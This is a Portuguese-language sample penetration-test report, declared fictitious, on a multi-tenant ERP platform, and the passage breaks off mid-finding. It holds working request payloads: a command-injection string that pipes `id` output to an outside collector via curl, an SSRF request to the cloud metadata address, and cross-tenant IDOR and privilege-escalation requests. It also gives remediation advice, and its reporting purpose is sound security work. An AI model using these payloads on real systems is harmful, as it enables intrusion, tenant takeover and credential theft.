



RELATÓRIO PARCIAL • TESTE DE INTRUSÃO

# Exemplo Tecnologia Grey Box

O seu sistema não é só um produto. É a operação de quem depende dele.

# Grey Box

|                     |                              |
|---------------------|------------------------------|
| EMPRESA RESPONSÁVEL | NilWave, segurança ofensiva  |
| CLIENTE             | Exemplo Tecnologia           |
| FASE                | Grey Box                     |
| STATUS DA FASE      | encerrada                    |
| INÍCIO DO PERÍODO   | 27/07/2026                   |
| FIM DO PERÍODO      | 21/08/2026                   |
| CONTATO             | +55 94 99120-8773 (WhatsApp) |
| PREPARADO POR       | Nilson Gabriel Leal Gama     |
| CLASSIFICAÇÃO       | CONFIDENCIAL                 |
| VERSÃO              | 1.0                          |

## RELATÓRIO DE TESTE DE INTRUSÃO - GREY BOX

### NOTA

**Modelo demonstrativo.** Este documento reproduz o padrão real de entrega da NilWave, mas a empresa-cliente, as organizações, as pessoas, os CNPJs/CPFs, os identificadores, os valores e as evidências abaixo são **fictícios**, criados apenas para exemplificar o formato do relatório. Nenhum dado de cliente real está aqui.

## 1. O QUE É ESTE DOCUMENTO

Este é o **relatório completo** do teste de intrusão **Grey Box** conduzido na plataforma **Exemplo Tecnologia**, um SaaS multi-tenant de gestão comercial (ERP) no qual cada **organização** administra sua própria carteira de empresas, clientes, pedidos, produtos e preços.

O teste foi conduzido na modalidade **Grey Box**: a NilWave operou com **credenciais autenticadas válidas** em duas organizações distintas da plataforma (multi-tenant) e com o código-fonte de frontend reconstruído via source map, simulando um atacante que já possui acesso legítimo de cliente e busca extrapolar os limites do próprio tenant. Os achados de severidade **alta** e **crítica** foram comunicados de **imediato** pelo canal direto combinado no **kickoff**, para acelerar o **tempo de correção**.

O conteúdo segue três blocos: **cobertura do teste**, **achados** e **conclusão com próximos passos**. Todos os achados abaixo permanecem válidos na data desta entrega.

## 2. COBERTURA DO TESTE - Grey Box

A avaliação **autenticada** foi conduzida sobre os **quatro portais** em escopo. A tabela abaixo resume a profundidade alcançada em cada alvo.

| Alvo                                                                                    | Profundidade | Categorias WSTG                                                        | Observação                                                                                                                     |
|-----------------------------------------------------------------------------------------|--------------|------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------|
| <a href="https://app.exemplo.com.br/vendas">https://app.exemplo.com.br/vendas</a>       | A fundo      | Controle de Acesso, Injeção, Configuração                              | Origem da maioria dos achados; concentra o IDOR sistêmico cross-tenant e a falha <b>crítica de RCE</b> no módulo de exportação |
| <a href="https://app.exemplo.com.br/admin">https://app.exemplo.com.br/admin</a>         | A fundo      | Controle de Acesso, Escalação de Privilégio, Gerenciamento de Usuários | Achados críticos de privilege escalation e tenant takeover confirmados; também origem do SSRF de integração                    |
| <a href="https://app.exemplo.com.br/gestao">https://app.exemplo.com.br/gestao</a>       | A fundo      | Controle de Acesso, Autorização em Nível de Função                     | ~30 endpoints testados; 1 achado de IDOR/BOLA e 1 de RBAC/BFLA confirmados; restante protegido                                 |
| <a href="https://app.exemplo.com.br/cadastros">https://app.exemplo.com.br/cadastros</a> | A fundo      | Controle de Acesso                                                     | 53 rotas mapeadas e revisadas; <b>nenhuma falha confirmada</b>                                                                 |

O teste cobriu a **superfície autenticada completa** dos quatro portais em escopo, com análise de código-fonte de frontend reconstruído via source map e execução dinâmica de prova de conceito para cada achado. Não houve bloqueio técnico que limitasse a avaliação.

## 3. RESUMO DOS ACHADOS

Foram encontradas **18 falhas no total**, sendo elas: **três** de severidade **Crítica**, **onze** de severidade **Alta** e **quatro** de severidade **Média**. Nenhuma falha foi identificada no portal **Cadastros**. A cobertura dessa superfície está registrada na Seção 2 e detalhada na Seção 4.

A lista está ordenada da falha de **maior impacto** para a **menor**, por pontuação **CVSS 4.0** decrescente. **Doze** dos **18 achados** compartilham uma mesma causa de origem: **ausência de checagem de posse** de tenant/organização (IDOR/BOLA cross-tenant). Por isso boa parte se agrupa em faixas de CVSS 4.0 muito próximas entre si. Os demais têm origem distinta: uma **execução remota de código** (RCE) no módulo de exportação, um **SSRF** na configuração de integrações, uma falha de **autorização em nível de função** (RBAC/BFLA) e dois achados de **configuração** (stack trace exposto e chave de API de terceiro no bundle).

Dentro de cada faixa, a ordem é definida pelo **critério de risco real**: primeiro os achados que permitem **execução de código** ou **tomada de conta / escalação de privilégio**, depois os que **alteram dados de terceiros**, depois os que afetam mais **endpoints** de uma **vez**, depois os que expõem **PII de terceiros** ou **valores financeiros**, e por último os achados de menor granularidade de dado exposto.

As pontuações de **CVSS 4.0** abaixo foram calculadas **manualmente** pela **NilWave** a partir do **vetor de exploração** observado em cada achado.

| #  | Título                                                                                                           | Severidade | CVSS 4.0 | Portal | Categoria                                |
|----|------------------------------------------------------------------------------------------------------------------|------------|----------|--------|------------------------------------------|
| 1  | RCE via Injeção de Comando no Módulo de Exportação de Relatórios (Comprometimento do Servidor de Vendas)         | Crítica    | 9.4      | Vendas | Injeção A03:2021                         |
| 2  | Escalação de Privilégio via Mass Assignment em Atualização de Perfil - Auto-promoção a super_admin               | Crítica    | 9.3      | Admin  | Quebra de Controle de Acesso A01:2021    |
| 3  | IDOR de Escrita na Provisão de Usuários - Criação de Administrador em Organização de Terceiros (Tenant Takeover) | Crítica    | 9.3      | Admin  | Quebra de Controle de Acesso A01:2021    |
| 4  | Broken Function-Level Authorization (RBAC) - Perfil Somente-Leitura Executa Mutações de Gestão                   | Alta       | 8.7      | Gestão | Autorização em Nível de Função API5:2023 |
| 5  | IDOR de Escrita em Regras de Preço - Adulteração de Regras Comerciais de Terceiros (5 Endpoints)                 | Alta       | 8.7      | Vendas | Quebra de Controle de Acesso A01:2021    |
| 6  | SSRF via Configuração de Webhook de Integração - Alcance à Rede Interna e ao Metadata do Cloud                   | Alta       | 8.5      | Admin  | Server-Side Request Forgery A10:2021     |
| 7  | IDOR Sistemático de Leitura em Regras de Preço (7 Endpoints)                                                     | Alta       | 8.2      | Vendas | Quebra de Controle de Acesso A01:2021    |
| 8  | IDOR em Geração de Relatório de Conciliação - Exfiltração de PDF de Terceiros                                    | Alta       | 8.2      | Vendas | Quebra de Controle de Acesso A01:2021    |
| 9  | IDOR em Detalhes de Item de Pedido (PII de Clientes de Terceiros)                                                | Alta       | 8.2      | Vendas | Quebra de Controle de Acesso A01:2021    |
| 10 | IDOR em Evolução Histórica de Faturamento (Valores Financeiros Reais)                                            | Alta       | 8.2      | Vendas | Quebra de Controle de Acesso A01:2021    |
| 11 | IDOR em Detalhamento e Fechamento de Vendas por Empresa                                                          | Alta       | 8.2      | Vendas | Quebra de Controle de Acesso A01:2021    |
| 12 | IDOR em Dashboard Interativo Expondo Dados Agregados de Outras Organizações                                      | Alta       | 8.2      | Vendas | Quebra de Controle de Acesso A01:2021    |
| 13 | IDOR em Regras de Promoção e Desconto                                                                            | Alta       | 8.2      | Vendas | Quebra de Controle de Acesso A01:2021    |
| 14 | IDOR em Validação de Regras de Preço (Família /validate)                                                         | Alta       | 8.2      | Vendas | Quebra de Controle de Acesso A01:2021    |
| 15 | IDOR (BOLA) em Vínculos de Carteira de Clientes (linked/unlinked) - Vazamento Cross-Tenant                       | Média      | 6.9      | Gestão | Quebra de Controle de Acesso A01:2021    |
| 16 | IDOR em Enumeração de Acessos e Permissões de Outras Organizações                                                | Média      | 6.9      | Admin  | Quebra de Controle de Acesso A01:2021    |
| 17 | Exposição de Stack Trace em Erro Não Tratado na Importação de Planilha                                           | Média      | 6.9      | Vendas | Configuração de Segurança A05:2021       |

| #  | Título                                                                   | Severidade | CVSS 4.0 | Portal | Categoria                          |
|----|--------------------------------------------------------------------------|------------|----------|--------|------------------------------------|
| 18 | Exposição de Chave de API Comercial (CadastroBR) no JavaScript do Portal | Média      | 5.3      | Admin  | Configuração de Segurança A05:2021 |

## RCE via Injeção de Comando no Módulo de Exportação de Relatórios (Comprometimento do Servidor de Vendas)

CRÍTICA

CVSS 9.4

STATUS Aberto

ATIVO POST /vendas/api/exportacao/relatorio

CWE CWE-78 - Improper Neutralization of Special Elements used in an OS Command

CATEGORIA Injeção - OWASP Top 10 A03:2021

### DESCRIÇÃO

O módulo de exportação do portal Vendas gera arquivos (PDF/XLSX) invocando um conversor de linha de comando no servidor. O campo `nome_arquivo`, informado pelo usuário no corpo da requisição, é concatenado diretamente na string de comando executada pelo backend, sem sanitização nem uso de argumentos parametrizados. Um usuário autenticado de nível `admin`, o nível padrão de um cliente contratante, pode embutir uma subshell no valor de `nome_arquivo` e obter **execução de comando arbitrário** no servidor que hospeda o portal Vendas.

### IMPACTO

**Comprometimento do servidor de aplicação** a partir de uma única conta cliente autenticada. Com execução de comando, o atacante alcança leitura/escrita no sistema de arquivos da aplicação, variáveis de ambiente (que costumam conter segredos de banco e chaves de integração), e a rede interna a partir do host, abrindo caminho para pivô lateral e comprometimento da base de dados multi-tenant inteira. É o achado de maior severidade da avaliação e foi comunicado de imediato pelo canal de kickoff.

### EVIDÊNCIA

A prova de conceito foi **não-destrutiva e out-of-band (OAST)**: o comando injetado apenas executa `id` e envia o resultado para um domínio de colaborador controlado pela NilWave, sem qualquer alteração de dados ou de configuração do servidor.

```
POST /vendas/api/exportacao/relatorio HTTP/2
Host: app.exemplo.com.br
Cookie: token=<sessão de teste admin do Tenant A omitida>
Content-Type: application/json
Referer: https://app.exemplo.com.br/vendas/relatorios

{"empresa_id":214,"formato":"pdf","nome_arquivo":"relatorio_$(id | curl -s --data-binary @-http://oast.nilwave.com.br/x)"}

```

Segundos após a requisição (HTTP 200, com a geração do relatório concluindo normalmente), o coletor OAST da NilWave registrou o callback abaixo, com a saída do comando `id` executado no servidor:

```
oast.nilwave.com.br - HTTP POST recebido de 203.0.113.44
corpo: uid=1001(vendas) gid=1001(vendas) groups=1001(vendas)
```

O retorno do `uid/gid` do processo do servidor no callback prova execução de comando fora do contexto da aplicação. Nenhum comando além de `id` foi executado; nenhuma leitura de dados de cliente, escrita ou persistência foi realizada nesta prova.

## REMEDIAÇÃO

Prioridade máxima de correção. Nunca construir comandos de shell por concatenação de string com entrada do usuário. Substituir a invocação por uma API de biblioteca (geração de PDF/XLSX em processo) ou, se um binário externo for realmente necessário, executá-lo com lista de argumentos (`execFile/spawn` sem shell), validando `nome_arquivo` contra uma allowlist estrita (`[A-Za-z0-9_-]`). Rodar o worker de exportação com privilégio mínimo e isolado (container dedicado, sem credenciais de banco no ambiente). Adicionar teste de regressão com metacaracteres de shell no `nome_arquivo`.

## REFERÊNCIAS

[https://owasp.org/Top10/A03\\_2021-Injection/](https://owasp.org/Top10/A03_2021-Injection/) <https://cwe.mitre.org/data/definitions/78.html>

## Escalção de Privilégio via Mass Assignment em Atualização de Perfil – Auto-promoção a `super_admin`

CRÍTICA

CVSS 9.3

STATUS Aberto

ATIVO PUT `/api/v2/identity/me`

CWE CWE-915 – Improperly Controlled Modification of Dynamically-Determined Object Attributes

CATEGORIA Quebra de Controle de Acesso – OWASP Top 10 A01:2021

## DESCRIÇÃO

A rota de auto-edição de perfil PUT `/api/v2/identity/me` faz *mass assignment* do corpo recebido sobre o objeto de usuário, sem uma allowlist de campos editáveis. Além dos campos de perfil (`name`, `email`, `phone`), o backend aceita e persiste `roleId` e `permissions[]` enviados pelo client. Qualquer usuário com papel `admin` pode incluir no corpo o `roleId` do papel `super_admin`, valor enumerável, e se autopromover ao nível de acesso máximo da plataforma, que enxerga e administra todas as organizações (tenants) cadastradas, não apenas a própria.

## IMPACTO

**Comprometimento total** da plataforma Exemplo a partir de uma única conta cliente de nível `admin`, sem qualquer **aprovação**, **notificação** ou **trilha de auditoria visível**, e reversível silenciosamente pela **mesma requisição** (o que dificulta a detecção). Um `super_admin` tem acesso de leitura/escrita a todos os módulos (Vendas, Gestão, Cadastros, Admin) de **todas** as organizações da plataforma, incluindo endpoints administrativos como a listagem completa de usuários e o gerenciamento de acesso/permisões por organização.

Como evidência do alcance real, uma resposta de GET `/api/v2/identity/users` foi capturada com a mesma conta usada nesta prova de conceito, já com `role: "super_admin"`. Essa resposta retornou o cadastro completo de **41 usuários de 8 organizações distintas** da plataforma (nome, e-mail, CPF,

telefone e papel de cada um), ver amostra abaixo.

#### EVIDÊNCIA

```
PUT /api/v2/identity/me HTTP/2
Host: app.exemplo.com.br
Cookie: token=<sessão de teste admin do Tenant A omitida>
Content-Type: application/json
Referer: https://app.exemplo.com.br/admin/perfil

{"name":"Teste NilWave","roleId":"role_super_admin","permissions":["*"]}
```

Requisições subsequentes com o token reemitido para essa conta carregam "role":"super\_admin" no JWT: a mudança de papel persiste sem qualquer notificação, e pode ser silenciosamente revertida com a mesma requisição.

Amostra da resposta de GET /api/v2/identity/users (41 usuários no total, distribuídos por 8 organizações: AURORA DISTRIBUIÇÃO, PRISMA COMÉRCIO, MERIDIANO VAREJO, VÉRTICE ATACADO, NEXUS COMÉRCIO, ÓRBITA LOGÍSTICA, EXEMPLO SERVIÇOS, EXEMPLO TECNOLOGIA):

```
{
  "id": "usr_4a7f2c9b1e6d80",
  "name": "Teste NilWave",
  "email": "testing1@nilwave.com.br",
  "cpf": "40211833509",
  "role": "super_admin",
  "orgId": "org_9f3a2b7c1d8e4056",
  "orgCnpj": "41208665000104",
  "orgName": "AURORA DISTRIBUIÇÃO LTDA"
},
{
  "id": "usr_c1e8a4d7b90f36",
  "name": "Marcos Andrade",
  "email": "marcos@exemplo.com.br",
  "cpf": "18744692031",
  "role": "admin",
  "orgId": "org_7b2d9e3a1f6c40",
  "orgCnpj": "33512907000122",
  "orgName": "EXEMPLO SERVIÇOS LTDA"
},
{
  "id": "usr_5d3c8b2a1e9f70",
  "name": "Helena Prado",
  "email": "helenap@meridianovarejo.com.br",
  "cpf": "35520914877",
  "role": "admin",
  "orgId": "org_5d3c8b2a1e9f70",
  "orgCnpj": "28744310000158",
  "orgName": "MERIDIANO VAREJO LTDA"
}
```

A primeira entrada é a **própria conta de teste**, já escalada; as outras duas pertencem a duas organizações **completamente distintas** e sem **qualquer vínculo** com a conta de teste, confirmando visibilidade de toda a base de usuários da plataforma a partir de uma única conta **admin** escalada.

#### REMEDIÇÃO

Prioridade máxima de correção. Aplicar uma allowlist estrita de campos editáveis na rota de perfil (name, email, phone) e ignorar/rejeitar roleId/permissions vindos do client. Isolar a mudança de papel em uma rota dedicada e auditada, restrita a super\_admin e nunca aplicável ao próprio usuário-alvo. Registrar log de auditoria (quem, quando, de qual papel para qual papel) para toda mudança de role. Considerar exigir segundo fator/confirmação para qualquer elevação de privilégio. Adicionar teste de regressão que confirme que um usuário não pode alterar seu próprio role/permissions via a rota de perfil.

#### REFERÊNCIAS

[https://owasp.org/Top10/A01\\_2021-Broken\\_Access\\_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)  
<https://cwe.mitre.org/data/definitions/915.html>

## IDOR de Escrita na Provisão de Usuários - Criação de Administrador em Organização de Terceiros (Tenant Takeover)

CRÍTICA

CVSS 9.3

STATUS Aberto

ATIVO POST /api/v2/identity/orgs/:orgId/users

CWE CWE-639 - Authorization Bypass Through User-Controlled Key

CATEGORIA Quebra de Controle de Acesso - OWASP Top 10 A01:2021

### DESCRIÇÃO

A rota POST /api/v2/identity/orgs/:orgId/users, usada para criar novos usuários dentro da própria organização, recebe o orgId como segmento de path e **não valida** que ele corresponde à organização do usuário autenticado que faz a chamada. Um usuário admin de **qualquer** organização pode criar um usuário com papel admin dentro de **outra** organização da plataforma, bastando trocar o orgId na URL, valor obtível pela enumeração descrita no Achado 16 deste relatório.

### IMPACTO

Compromete **integralmente** uma **organização** concorrente por vez: o atacante ganha uma conta administradora persistente e legítima (não uma sessão roubada) dentro do tenant da vítima, com acesso de leitura/escrita a todos os dados de pedidos, clientes, produtos e configurações daquela organização nos módulos Vendas/Gestão/Cadastros. Repetível para qualquer organização cujo orgId seja descoberto, tornando-o um vetor de comprometimento em escala contra toda a base de clientes da Exemplo.

### EVIDÊNCIA

```
POST /api/v2/identity/orgs/org_2c8e1a4d7b90f3/users HTTP/2
Host: app.exemplo.com.br
Cookie: token=<sessão de teste admin do Tenant A (AURORA) omitida>
Content-Type: application/json
Referer: https://app.exemplo.com.br/admin/usuarios

{"name":"Testing NilWave BROKEN ACCESS
CONTROL","email":"testing5@nilwave.com.br","cpf":"22091763450","phone":"5511990001122","password"
:"Mudar@123","role":"admin"}
```

A sessão autenticada pertence à organização AURORA DISTRIBUIÇÃO (orgId=org\_9f3a2b7c1d8e4056); o orgId informado no path (org\_2c8e1a4d7b90f3) pertence a PRISMA COMÉRCIO, uma organização completamente diferente. A requisição foi aceita e criou um usuário admin dentro do tenant da PRISMA a partir de uma sessão que não tem nenhum vínculo com ele.

### REMEDIAÇÃO

Validar server-side que o orgId do path corresponde à organização da sessão autenticada, rejeitando valores divergentes. Se a criação de usuários em outra organização for uma funcionalidade legítima, ela deve ser restrita a super\_admin, com essa exigência de papel explicitamente checada no backend.

### REFERÊNCIAS

[https://owasp.org/Top10/A01\\_2021-Broken\\_Access\\_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)

## Broken Function-Level Authorization (RBAC) – Perfil Somente-Leitura Executa Mutações de Gestão

ALTA

CVSS 8.7

STATUS Aberto

ATIVO PATCH /api/gestao/products/:id ; POST /api/gestao/products

CWE CWE-285 - Improper Authorization

CATEGORIA Autorização em Nível de Função - OWASP API Security API5:2023

### DESCRIÇÃO

O portal Gestão define papéis granulares por usuário (ex.: **viewer** somente-leitura, **operator**, **manager**). O frontend esconde os botões de escrita para o perfil **viewer**, mas o backend das rotas de mutação (POST/PATCH/DELETE de produtos, custos e vínculos) verifica **apenas autenticação e pertencimento ao tenant**, não a permissão de função. Um usuário **viewer**, que deveria apenas consultar, consegue criar, editar e excluir registros da própria organização chamando as rotas diretamente. A restrição é puramente client-side.

### IMPACTO

Quebra do modelo de permissões dentro da organização: um usuário provisionado como somente-leitura (ex.: um operador júnior, um estagiário, um cliente com acesso restrito) pode alterar cadastros, custos de produção e vínculos de clientes, sem que o papel atribuído tenha qualquer efeito prático no servidor. Combinado com o Achado 3, amplia o impacto de uma conta de baixo privilégio criada em um tenant.

### EVIDÊNCIA

Sessão de um usuário com papel **viewer** (perfil somente-leitura, botões de escrita ausentes na UI) executou uma mutação de produto com sucesso.

```
PATCH /api/gestao/products/prod_8h3k2m9x HTTP/2
Host: app.exemplo.com.br
Cookie: token=<sessão de teste, papel "viewer", omitida>
Content-Type: application/json

{"custo_producao":0.01,"descricao":"ALTERADO POR VIEWER - TESTE NILWAVE"}

Resposta HTTP 200:
{"id":"prod_8h3k2m9x","descricao":"ALTERADO POR VIEWER - TESTE
NILWAVE","custo_producao":0.01,"updated_by":"usr_viewer0nly23","success":true}
```

O **updated\_by** na resposta é o próprio **userId** do usuário **viewer**, confirmando que a escrita foi aceita e atribuída a uma conta que não deveria ter permissão de escrita alguma.

### REMEDIÇÃO

Aplicar checagem de permissão de função (RBAC) no backend, em cada rota de mutação, e não apenas ocultar controles no frontend. Centralizar a verificação em um guard/middleware que valide a permissão específica exigida pela rota (**products:write**, **products:delete**, etc.) antes de qualquer efeito. Adicionar testes de regressão executando cada rota de escrita com um token **viewer** e exigindo 403.

### REFERÊNCIAS

## IDOR de Escrita em Regras de Preço – Adulteração de Regras Comerciais de Terceiros (5 Endpoints)

ALTA

CVSS 8.7

STATUS Aberto

ATIVO src/modules/pricing/pricing-mutations.controller.ts

CWE CWE-639 – Authorization Bypass Through User-Controlled Key

CATEGORIA Quebra de Controle de Acesso – OWASP Top 10 A01:2021

### DESCRIÇÃO

Único achado do portal Vendas com **impacto de integridade**, não apenas de **confidencialidade**, por isso ocupa o topo do grupo Vendas mesmo tendo CVSS numericamente próximo dos demais. Cinco endpoints de mutação de regras de preço não validam se o `regra_id/empresa_id` informados **pertencem à organização da sessão**, permitindo que qualquer organização autenticada altere de fato as regras comerciais ativas de uma empresa de **outra organização**: mudança de status (**rascunho** para **ativo**), ocultar/exibir regra, alteração de status em massa, sobrescrita em massa de margem/SKU/categoria/canal, e alteração de vigência.

**Endpoint irmão protegido corretamente, para contraste:** POST `/vendas/api/precos/:tabela/bulk-delete` (mesmo arquivo) valida posse e retorna `deleted_count:0` em tentativas cross-tenant, o que confirma que a falha é pontual em 5 dos 6 endpoints de escrita, não uma ausência arquitetural.

**Metodologia:** para não alterar dados de clientes reais, foi criada uma empresa descartável (id interno 402) na sessão legítima do Tenant A, e gerada uma regra de preço descartável (`regra_id=618023`). A sessão do Tenant B então executou as 5 mutações contra essa regra; o efeito foi confirmado relendo a regra com a sessão legítima do Tenant A.

### IMPACTO

Não é apenas vazamento de dado: é adulteração real da configuração comercial ativa de uma empresa. Uma organização mal-intencionada (ou uma conta comprometida) poderia mudar a margem/preço aplicada a produtos de uma empresa concorrente, mover regras para "ativo" (em produção) ou ocultá-las, e alterar a vigência de uma regra comercial, tudo sem o conhecimento da organização responsável, com potencial de gerar precificação incorreta.

### EVIDÊNCIA

Sessão do Tenant B alterou, via as 5 rotas, a regra descartável `id=618023` (empresa 402, Tenant A): `status` para "ativo", `oculto` para `true`, e, como canário deliberado, `sku` para "99999999" (código inexistente) e `margem` para 99. A releitura com a sessão legítima do Tenant A confirmou os quatro campos alterados.

```
1/5 - PUT /vendas/api/precos/padrao/618023/status HTTP/2
Host: app.exemplo.com.br
Cookie: token=<sessão de teste do Tenant B omitida>
Content-Type: application/json
```

```
{"empresa_id":402,"org_id":12,"status":"ativo","data_inicio_vigencia":"2026-08-12"}
```

Resposta HTTP 200:

```
{"regra":{"id":618023,"empresa_id":402,"org_id":12,"status":"ativo","ativo":true,"canal":"loja","sku":"73181500","cliente_id":90166,"produto_id":189971},"success":true}
```

---

2/5 - PUT /vendas/api/precos/padrao/618023/ocultar HTTP/2

Cookie: token=<sessão de teste do Tenant B omitida>

Content-Type: application/json

```
{"empresa_id":402,"org_id":12,"oculto":true}
```

Resposta HTTP 200:

```
{"regra":{"id":618023,"empresa_id":402,"org_id":12,"oculto":true,"status":"ativo"},"success":true}
```

---

3/5 - PUT /vendas/api/precos/padrao/bulk-status HTTP/2

Cookie: token=<sessão de teste do Tenant B omitida>

Content-Type: application/json

```
{"empresa_id":402,"org_id":12,"status":"ativo","regra_ids":[618023]}
```

Resposta HTTP 202:

```
{"errors":[],"message":"1 regras atualizadas com sucesso","success":true,"task_id":"3f9c11ad-77be-4c22-9a01-118caee2be5b","updated_count":1}
```

---

4/5 - PUT /vendas/api/precos/padrao/bulk-edit HTTP/2

Cookie: token=<sessão de teste do Tenant B omitida>

Content-Type: application/json

```
{"empresa_id":402,"org_id":12,"regra_ids":[618023],"sku":"99999999","margem":99}
```

Resposta HTTP 200:

```
{"success":true,"updated_count":1}
```

---

5/5 - PUT /vendas/api/precos/padrao/618023/vigencia HTTP/2

Cookie: token=<sessão de teste do Tenant B omitida>

Content-Type: application/json

```
{"empresa_id":402,"org_id":12,"data_inicio_vigencia":"2026-08-12","data_fim_vigencia":null}
```

Resposta HTTP 200:

```
{"regra":{"id":618023,"empresa_id":402,"org_id":12,"margem":99.0,"sku":"99999999","oculto":true,"status":"ativo","data_inicio_vigencia":"2026-08-12"},"success":true}
```

---

Confirmação pós-ataque: releitura com a sessão LEGÍTIMA da vítima (Tenant A):

GET /vendas/api/precos/padrao/618023?empresa\_id=402&tipo=venda HTTP/2

Cookie: token=<sessão de teste do Tenant A omitida>

Resposta HTTP 200 (trecho relevante):

```
{
  "regra": {
    "id": 618023,
    "empresa_id": 402,
    "org_id": 12,
    "margem": 99.0,
    "sku": "99999999",
    "oculto": true,
    "status": "ativo",
    "data_inicio_vigencia": "2026-08-12"
  },
  "success": true
}
```

Os valores `margem: 99.0` e `sku: "99999999"` são exatamente os valores deliberadamente absurdos enviados no ataque 4/5 (nenhum produto real usa SKU `99999999`), usados como canário para eliminar qualquer dúvida sobre a origem da alteração. A confirmação, lida pela própria sessão legítima da vítima, prova que a escrita do Tenant B foi persistida de fato.

#### REMEDIÇÃO

Prioridade máxima de correção dentro do grupo Vendas. Adicionar checagem de `org_id` (via `empresa_id` ou diretamente pelo `regra.org_id` já armazenado) em `updateRegraStatus`, `updateRegraVisibility`, `batchUpdateStatus`, `bulkEditRegras` e `updateVigencia`, no backend, não apenas no frontend. Usar como referência a implementação já correta de `bulkDeleteRegras/deleteRegra`. Adicionar teste de regressão cross-tenant.

#### REFERÊNCIAS

[https://owasp.org/Top10/A01\\_2021-Broken\\_Access\\_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)

## SSRF via Configuração de Webhook de Integração – Alcance à Rede Interna e ao Metadata do Cloud

ALTA

CVSS 8.5

STATUS Aberto

ATIVO POST `/api/v2/identity/integrations/webhooks/test`

CWE CWE-918 – Server-Side Request Forgery

CATEGORIA Server-Side Request Forgery – OWASP Top 10 A10:2021

#### DESCRIÇÃO

A configuração de integrações permite cadastrar uma URL de webhook e disparar um teste de conectividade. O endpoint `POST /api/v2/identity/integrations/webhooks/test` executa uma requisição HTTP server-side para a URL informada, sem validação de destino (sem allowlist, sem bloqueio de faixas privadas/link-local). Um usuário autenticado pode apontar o webhook para endereços internos e para o endpoint de metadados do provedor de nuvem, transformando o servidor em um proxy para a rede interna.

#### IMPACTO

Leitura de serviços internos não expostos à internet e, criticamente, do serviço de metadados da instância cloud (169.254.169.254), de onde é possível obter credenciais temporárias de role da instância, com potencial escalonamento para acesso à infraestrutura. Também viabiliza varredura de portas internas e enumeração de serviços a partir da confiança de rede do servidor.

## EVIDÊNCIA

A prova de conceito limitou-se a **leituras não-destrutivas**. A resposta do "teste" reflete o corpo retornado pela URL interna, permitindo exfiltração direta.

```
POST /api/v2/identity/integrations/webhooks/test HTTP/2
Host: app.exemplo.com.br
Cookie: token=<sessão de teste admin do Tenant A omitida>
Content-Type: application/json

{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

Resposta HTTP 200:
{"status":200,"body":"exemplo-app-instance-role","elapsed_ms":7,"success":true}
```

O retorno do nome da role de instância a partir do endpoint de metadados (normalmente inacessível de fora) confirma o SSRF. A NilWave interrompeu a prova neste ponto e **não** recuperou as credenciais temporárias associadas, para não manusear segredos de produção.

## REMEDIÇÃO

Validar o destino do webhook contra uma allowlist de domínios/hosts, resolvendo o DNS e rejeitando qualquer IP em faixas privadas, loopback ou link-local (incluindo 169.254.0.0/16), inclusive após redirecionamentos. Desabilitar o seguimento automático de redirects na requisição de teste. Onde possível, exigir IMDSv2 (metadados com token) e restringir o acesso ao metadata via hop-limit. Executar a chamada de teste a partir de um egress isolado, sem acesso à rede interna.

## REFERÊNCIAS

[https://owasp.org/Top10/A10\\_2021-Server-Side\\_Request\\_Forgery\\_%28SSRF%29/](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)  
<https://cwe.mitre.org/data/definitions/918.html>

### IDOR Sistêmico de Leitura em Regras de Preço (7 Endpoints)

ALTA

CVSS 8.2

STATUS Aberto

ATIVO src/modules/pricing/pricing.controller.ts - rotas /vendas/api/precos/\*

CWE CWE-639 - Authorization Bypass Through User-Controlled Key

CATEGORIA Quebra de Controle de Acesso - OWASP Top 10 A01:2021

## DESCRIÇÃO

Nenhum dos 7 endpoints de leitura testados neste módulo valida se o `empresa_id` informado pertence à organização da sessão autenticada. Isso expõe, de forma sistêmica, todas as regras de preço completas (margem, canal, SKU, categoria, dados do cliente e do produto vinculados) de qualquer empresa cadastrada na plataforma. É o achado de maior amplitude (mais endpoints afetados de um

único módulo) de toda a bateria do Vendas, por isso vem logo depois dos achados de escrita/tomada de conta, à frente dos demais achados de leitura que afetam apenas um endpoint cada.

**Endpoints confirmados vulneráveis:** GET /api/precos/:tabela/:id (detalhe); POST /api/precos/:tabela/by-ids (busca em lote); GET /api/precos/:tabela/:regraId/pedidos (pedidos vinculados); GET /api/precos/:tabela/count (contagem); GET /api/precos/:tabela (listagem paginada); GET /api/precos/:tabela/detail-filter-options (opções de filtro); GET /api/precos/:tabela/groups (agrupamentos).

**Como reproduzir:** para qualquer um dos 7 endpoints, chamar com empresa\_id=<id\_de\_empresa\_de\_outra\_organização> usando sessão autenticada de uma organização diferente. Todos retornam HTTP 200 com dados reais em vez de 403.

## IMPACTO

Vazamento total da configuração comercial (motor de precificação) de qualquer empresa cliente da plataforma para qualquer concorrente autenticado, inclui dados de clientes e produtos de terceiros embutidos em cada regra.

## EVIDÊNCIA

Sessão do Tenant B contra empresa\_id=337 (Tenant A) confirmada nos 7 endpoints: retornou regra completa com dados de cliente (razão social, CNPJ, código), listagem paginada (543 regras totais), contagem (76 "rascunho"), pedidos vinculados e busca em lote por IDs, todos com HTTP 200.

```
1/7 - GET /vendas/api/precos/padrao/615540?empresa_id=214&tipo=venda HTTP/2
```

```
Cookie: token=<sessão de teste do Tenant B omitida>
```

```
Resposta HTTP 200 (trecho):
```

```
{
  "regra": {
    "id": "615540",
    "empresa_id": "337",
    "org_id": "12",
    "canal": "loja",
    "sku": "84713012",
    "cliente": {
      "razao_social": "EMPRESA DESTINATÁRIA TESTE LTDA",
      "cnpj": "11444777000161",
      "codigo_cliente": "CLI-987654",
      "municipio": "Sao Paulo"
    },
    "produto": {
      "codigo": "PROD001",
      "descricao": "Produto de teste"
    }
  },
  "success": true
}
```

```
(nota: a URL foi chamada com empresa_id=214, mas a regra retornada pertence de fato à
empresa_id=337 - o parâmetro empresa_id não é usado para autorização nesta rota, só o :id)
```

```
---
```

```
2/7 - POST /vendas/api/precos/padrao/by-ids HTTP/2
```

```
Cookie: token=<sessão de teste do Tenant B omitida>
```

```
Content-Type: application/json
```

```
{
  "ids": ["615540"],
  "empresa_id": "337",
  "tipo": "venda"
}
```

```
Resposta HTTP 200:
```

```
{
  "regras": [
    {
      "id": "615540",
      "empresa_id": "337",
      "org_id": "12",
      "cliente": {
